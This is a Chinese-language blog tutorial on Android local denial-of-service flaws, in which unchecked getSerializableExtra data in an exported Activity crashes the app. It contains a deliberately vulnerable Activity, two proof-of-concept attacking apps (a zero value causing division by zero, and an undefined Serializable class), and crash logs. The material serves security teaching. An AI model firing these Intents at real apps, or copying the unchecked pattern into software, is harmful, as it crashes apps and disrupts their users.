本地应用中处理交互与通讯的程序不能判断及阻止异常数据的入侵。
本地拒绝服务漏洞就是本地应用中处理交互与通讯的程序不能判断及阻止异常数据的入侵,从而导致应用崩溃或是向用户继续传送异常数据。
Android 系统提供了 Intent 机制来协助应用间的交互与通讯,Intent 负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述。Android 系统则根据此 Intent 的描述,负责找到对应的组件,将 Intent 传递给调用的组件,并完成组件的调用。本地拒绝服务漏洞源于程序没有对 Intent.GetXXXExtra() 获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用崩溃的目的,简单的说就是攻击者通过Intent发送空数据、异常或畸形数据给受害者应用,导致其崩溃。
针对序列化对象而出现的拒绝服务主要是由于应用中使用了 getSerializableExtra()的 API ,而开发者没有对传入的数据做异常判断。
漏洞代码:
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent i = getIntent();
if(i.getAction().equals("ddos_test")){
int tmp = (int)i.getSerializableExtra("ddos"); //未做异常判断
int c = 4/tmp;
Log.e("output", String.valueOf(c));
}
}
}
当恶意APP传递的数据为0时将导致“除0”异常,从而致使程序崩溃。
攻击代码:
public class MainActivity extends AppCompatActivity { |
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction("ddos_test");
intent.setClassName("com.vuln.testclient", "com.vuln.testclient.MainActivity");
intent.putExtra("ddos", 0);
startActivity(intent);
}
}
logcat信息:
对于使用了getSerializableExtra()的API也可以采用更通用的方式构造一个自定义的序列化对象,由于接收方没有定义该类,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。
自定义类:
public class DDOSPoc implements Serializable {
private static final long serialVersionUID = -3601187837704976264L;
public DDOSPoc() {
super();
}
}
攻击代码:
intent.putExtra("ddos", new DDOSPoc());
logcat信息:
10-18 06:34:33.436 2671-2671/com.vuln.testclient E/AndroidRuntime: FATAL EXCEPTION: main
Process: com.vuln.testclient, PID: 2671
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.vuln.testclient/com.vuln.testclient.MainActivity}: java.lang.RuntimeException: Parcelable encounteredClassNotFoundException reading a Serializable object (name = com.vuln.ddos.DDOSPoc)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2195)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2245)
at android.app.ActivityThread.access$800(ActivityThread.java:135)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1196)
intent.setClassName所对应的className的Acitivity必须存在exported属性,否则会提示Security报错。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.